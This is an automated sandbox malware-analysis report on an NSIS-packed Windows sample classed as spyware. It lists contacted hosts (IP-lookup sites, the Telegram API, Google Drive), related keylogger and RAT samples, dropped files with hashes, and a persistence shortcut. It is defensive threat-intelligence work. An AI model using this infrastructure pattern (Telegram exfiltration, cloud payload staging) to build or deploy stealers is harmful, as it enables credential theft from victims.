http://checkip.dyndns.com	ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035934000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035750000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035A55000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000358DF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	ppISxhDcpF.exe	false		high
http://api.telegram.org	ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035934000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035A55000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000358DF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000356D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/c	ppISxhDcpF.exe, 00000005.00000002.2713551254.0000000005098000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035750000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.23.110	drive.google.com	United States	15169	GOOGLEUS	false
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.181.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
104.21.96.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587988
Start date and time:	2025-01-10 20:07:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ppISxhDcpF.exe renamed because original name is a hash value
Original Sample Name:	8dbe0f8d14496475bd0c298df8763deab33ec4a0a55880fb0b823586f65bc10a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 140 Number of non-executed functions: 108
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ppISxhDcpF.exe

Simulations

Behavior and APIs

Time	Type	Description
14:10:23	API Interceptor	9832x Sleep call for process: ppISxhDcpF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	b5JCISnBV1.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Order_List.scr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	fiyati_teklif 615TBI507_ ACCADO san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	CTM REQUEST-ETD JAN 22, 2024_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
149.154.167.220	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
api.telegram.org	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
checkip.dyndns.com	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
UTMEMUS	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	v3tK92KcJV.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	MtxN2qEWpW.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	b5JCISnBV1.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
CLOUDFLARENETUS	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	bkTW1FbgHN.exe	Get hash	malicious	FormBook	Browse	104.21.7.187
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	Message 2.eml	Get hash	malicious	Unknown	Browse	172.64.41.3
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	frosty.arm.elf	Get hash	malicious	Mirai	Browse	104.23.145.230
	Message.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	s2Jg1MAahY.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.96.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.96.1
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
3b5074b1b5d032e5620f69f9f700ff0e	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	s2Jg1MAahY.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MqzEQCpFAY.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MqzEQCpFAY.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Y8Q1voljvb.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	MWP0FO5rAF.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.23.110 142.250.181.225
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.217.23.110 142.250.181.225
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.217.23.110 142.250.181.225
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.23.110 142.250.181.225
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	172.217.23.110 142.250.181.225
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	172.217.23.110 142.250.181.225
	Mmm7GmDcR4.exe	Get hash	malicious	LummaC	Browse	172.217.23.110 142.250.181.225
	g7Mz6hLxqw.exe	Get hash	malicious	GuLoader	Browse	172.217.23.110 142.250.181.225
	ln5S7fIBkY.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.23.110 142.250.181.225
	Osb7hkGfAb.exe	Get hash	malicious	GuLoader	Browse	172.217.23.110 142.250.181.225

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Abreaction.Abe

Download File

Process:	C:\Users\user\Desktop\ppISxhDcpF.exe
File Type:	data
Category:	dropped
Size (bytes):	253850
Entropy (8bit):	7.814291711551856
Encrypted:	false
SSDEEP:	6144:th5qC8VFwfWGF9gU+SSiuotrbiTK5PAjWK:v5qTwfWGDP/S+iTKxAyK
MD5:	A35A134475F9882F13DE626FD7FDA2E4
SHA1:	FD56DEFCA8227313348EDA3287816ADD12E08EB8
SHA-256:	BBD476BAF2D2BE3CF63487ACE11603B437C317FD6849FB794A8342E0108A5AD8
SHA-512:	80B4A6546629E28AA8B820BAD2E3E0AC57AC84E858ABE25C90735A8CCFE837946A6B3F00B983EB6FBDBCDF11B13822263A2E573F8D51D2DB04DD9BA0E4CCCF23
Malicious:	false
Reputation:	low
Preview:	.............888..KKKKKKK.nnn._............................................P...qqqqq.........5....+.................OO....................../.........kk.....................,......VV..............44.3..............AA.yyy....=.....................................................h....UUUU.......g........xx...........!!./.[[.....DDDD.........._............r........ZZZZZ..........."...........UU..............I.;;;.LL..................B.............FFF..........t............................FF.P......)........?............ii.;..\\\\..M.......zz........bbb......@.??....P...........R..............................S.......p..222...........................GGG.....GG......Z.........TTTTT.z...WW........g.v.33.p...............ss.....g..............+.....hh........55............._..............l..g.......<..................................\|\|...u......22.....?...............................X...............AA...........h...............K......I.......;;.........xxx.f.......................X......yy.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Needlings.Mic

Download File

Process:	C:\Users\user\Desktop\ppISxhDcpF.exe
File Type:	data
Category:	dropped
Size (bytes):	14599
Entropy (8bit):	4.542958055672668
Encrypted:	false
SSDEEP:	192:xrZr1+9qMultEuBh8CSs8ywUdBzB60Lct+01sJXiFhyWbSlXia1mtpt:x9r1+mlHP8ywUvc801sJXi2WbSlyASt
MD5:	A246367D6459D338115FB171AE048F4F
SHA1:	095776AA1A6C8E191C2BE7C827FBCF978987BBFB
SHA-256:	6D535560BAF2D8E5098DDC441E70694853BCB3E0A7411916888754B8D2BB27BB
SHA-512:	95F546C51860DC7366D613B739060A65C743784C5FFE3343FDA6421B5D7A227FB741DD64644F39B6686D95B39C2F143A8BA3B50384271A66EB14326D3E3F96B8
Malicious:	false
Reputation:	low
Preview:	.*...[......................\|.oo......\\\..((........h............y.......UU......LLLLLLLLL..........OOOOOOO..................1.D....]]]].......L..1.(((.i...XXXXX.C.~~..bb.W...\|\|.........j.........:........0000......&...p.....5................DDD......+....ZZZ..BB..........."""..]]..................................''...++.222.........%......................~............\|..j..i.................UU.@.................QQQ.Z..lll......\|\|...;...77............._..........N...~.....????.............o..............fffffff......$............nnn..........F.C........................---.$.....W..5.....L........G..........................::.ww......"""............##......HHH....77...............................JJ.J..66...ZZ......................nnn....Z...55...........=..........t......OO.....m...........V.........uuuu..............D...ttt..................."......===....$...L..................G.''..............2................................................r.T..........................?...........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

Download File

Process:	C:\Users\user\Desktop\ppISxhDcpF.exe
File Type:	data
Category:	dropped
Size (bytes):	56641
Entropy (8bit):	1.2318917163845036
Encrypted:	false
SSDEEP:	384:vrBeaW6xu5Pd9GW0Zq+/HXF1qcGNMUd8phxiFQHOV7hpvZlq:t9+Pdop/306xixrlq
MD5:	39C9A5F767D8C170B5CE38EA8D5734D4
SHA1:	4B4CA81EB3D093645B504004F62A269D4EACDECC
SHA-256:	87A7017021050071DBE5726BF9AC505763CD923E2BDE93336CA0905802CD8D49
SHA-512:	AE2D66B801251046FA4D3093391B916955B43BE75A954DD398583B1B8881A9F109F51F81D6E4FE759F83AC7B921FA89B02185013AFDE16D3C8EAB422BE89B4FF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.............l.........z........i........8.........................m.........f.C.Z..............I./........T..1.......................!......................D.................................................................................U................................../........................................-.......................}.........T`.....0@.............................F..............................].........................L.........<.........................................................................................N......................................................x........................................................@............................................4..........'...................?..........I.............../....................L....,...............................................;......k.....................................i............4.......................................K.....7...7....c...................U..#..............................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

Download File

Process:	C:\Users\user\Desktop\ppISxhDcpF.exe
File Type:	ASCII text, with very long lines (345), with no line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	4.241929841155785
Encrypted:	false
SSDEEP:	6:dvkdMOL4xnuXGNQWjMIDw1luhPB46xAJX7sBJOdkmLA8gMfArpIXbgOwQWiQJEEC:dufExIoDe1lYnGJLsBQdtL6rpIrWQkJA
MD5:	AE69FE0F4D1E1115BC470031E661785C
SHA1:	8D3799826FE457C61C1E8EE5E3071683A8125BC5
SHA-256:	6B18768503395C809263568D3A8858810404C2B7D49DC7CB6CE5F717F5D6C7DE
SHA-512:	969C0DB048EAC4A9B447A0C0C463A7983F1B4091B6206E274B9D249F8311439B6C33F5AA1EDF9CD1AA27502DA49378D3E1B45F16909C55DF830E51684E9648BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	pandas omflakkendes tribrachic miskenning.nonvitally subcase syvendelens weighin.tilhreres lysed metencephalons aabentstaaendes arbejdsmarkedsstyrelsers.kodeskrifter indgaaet nstnederst desulphurise badevgtene caliche.reabsorption erhvervskommunernes aktuarerne ammunition whilere sughs.tusindaarigt barkers landholders butylation phrenicocolic.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

Download File

Process:	C:\Users\user\Desktop\ppISxhDcpF.exe
File Type:	Matlab v4 mat-file (little endian) ', numeric, rows 63, columns 0
Category:	dropped
Size (bytes):	210366
Entropy (8bit):	1.240975322465592
Encrypted:	false
SSDEEP:	768:vBTwJOLxCIF0V6iLboHog6BQlsMqlN1R0pmGy30wbfq6+9GmlsNh34k0uJ/QohER:cJigyyDJnLH7zA
MD5:	AEF78D8D561E8802286A78AAC6C73ED6
SHA1:	DDF5DA649482D0A553802827BB9F0EF64A7069E1
SHA-256:	45F24543C01C9A11CC2246A9B27569AF433EEF61C877A4E191B683315D3566BE
SHA-512:	93D43C0CECADF8E1F507F8E58D2B4D92995D8F7ECF213A23559938B380033A6D0D80B0816A8D6603864F821F4FEDC988E0F79BE14C6892089178970E08DC4199
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	....?...........*=..'...........................m........................y............................................................................H.......................................c.......x........................................................:...s.......................+.........................................~.....2........C..Z...................................k............................i.........................................{...............................................?%............................................................................Z................................v.............<.....'.............L..........................................+...............................s.........................................W........................`........................[..............&..................T................................j......M......[.....................c.............................................9.......................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor\wildwestfilm.sto

Download File

Process:	C:\Users\user\Desktop\ppISxhDcpF.exe
File Type:	data
Category:	dropped
Size (bytes):	363811
Entropy (8bit):	1.2512349423386382
Encrypted:	false
SSDEEP:	768:y2f405GRYtnSLOBbyCociR2TVuEpHsVURGxwGmXjyMB+CtKDOgt9rlHF1QOs+9m5:pIuagbnK7CwVwFpYogwhUsvCq
MD5:	BFEA15C03AB295424981A73637A19491
SHA1:	A5ADABDDC373D6B3004F96946D84B651E42D9F5C
SHA-256:	83E9CE74259889DCABD39D41131F286882B224698DCDEB8D0B4074069AAA687B
SHA-512:	CB5969BFFAED8AF1791938E924E0CC9F876E45165F4E7EA5E9249131FACA831C0600F14BD68EF041D18C81A3FBE087970043D1B3B8A6786C1E5E5049834D4D0D
Malicious:	false
Preview:	...................................................E....................................j.A..(.......................................+..........................$.............................................z.L........%......t...................................2l.............1.............................................................................U...g.......................`............................................................0..................................J......................................K...R...............................................................&...c......................................S......!...8..................Y......................................................>u........T...................L........................................................................0.........................................W.....L.n.....................................$.b...........B..................................................8...............!...............

C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\ppISxhDcpF.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.655335921632966
Encrypted:	false
SSDEEP:	192:eF24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35Ol9Sl:h8QIl975eXqlWBrz7YLOl9
MD5:	EE260C45E97B62A5E42F17460D406068
SHA1:	DF35F6300A03C4D3D3BD69752574426296B78695
SHA-256:	E94A1F7BCD7E0D532B660D0AF468EB3321536C3EFDCA265E61F9EC174B1AEF27
SHA-512:	A98F350D17C9057F33E5847462A87D59CBF2AAEDA7F6299B0D49BB455E484CE4660C12D2EB8C4A0D21DF523E729222BBD6C820BF25B081BC7478152515B414B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: m0CZ8H4jfl.exe, Detection: malicious, Browse Filename: PURCHASE ORDER TRC-090971819130-24_pdf.exe, Detection: malicious, Browse Filename: PAYMENT ADVICE 750013-1012449943-81347-pdf.exe, Detection: malicious, Browse Filename: PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe, Detection: malicious, Browse Filename: RFQ December-January Forcast and TCL.exe, Detection: malicious, Browse Filename: PAYMENT ADVICE TT07180016-24_pdf.exe, Detection: malicious, Browse Filename: PURCHASE ORDER TRC-0909718-24_pdf.exe, Detection: malicious, Browse Filename: SWIFT091816-24_pdf.exe, Detection: malicious, Browse Filename: REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe, Detection: malicious, Browse Filename: SWIFT09181-24_pdf.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...]..V...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Download File

Process:	C:\Users\user\Desktop\ppISxhDcpF.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	3.2745851786245974
Encrypted:	false
SSDEEP:	12:8wl0+sXU0v/tz0/CSL6/cBnwgXl341DEDeG41DEDWaBQ1olfW+kjcmAa/BCNfBfZ:8F7WLrFPjPKzizZM/gjqy
MD5:	D6B70B357B892FB3D3B9B0112691FE0B
SHA1:	F20667704C77D947AA23BA7E8596D74B9E18F6ED
SHA-256:	75324C5518652D59C05F7BAE3EE65B92776BAB0E06562AFE1D871AA9E070DDA8
SHA-512:	A80B870F8330406C9E5AE4A9D60523E5FB3E8F46EDA574D06925BE00DA66872CB3BE3C9CD39E596037EED1777D12FE68D23007F9AEC78B93856E796FBF32EB33
Malicious:	false
Preview:	L..................F........................................................q....P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................h.u.b.e.r.t.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....b.1...........mindevrdigt.H............................................m.i.n.d.e.v.r.d.i.g.t.......2...........boghandlermedhjlperens.tor..f............................................b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r...*.../.....\.....\.....\.m.i.n.d.e.v.r.d.i.g.t.\.b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r.Y.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.I.N.e.t.C.a.c.h.e.\.r.a.p.i.d.i.t.e.t.e.n.s.\.f.r.e.m.t.v.i.n.g.\.n.o.n.a.c.t.o.r.............}........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.952472368369393
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ppISxhDcpF.exe
File size:	408'037 bytes
MD5:	e64faf30918d71691dfde574dd5a6fcb
SHA1:	1d2f1edd94620404e15df9369049c3ef1b6c2761
SHA256:	8dbe0f8d14496475bd0c298df8763deab33ec4a0a55880fb0b823586f65bc10a
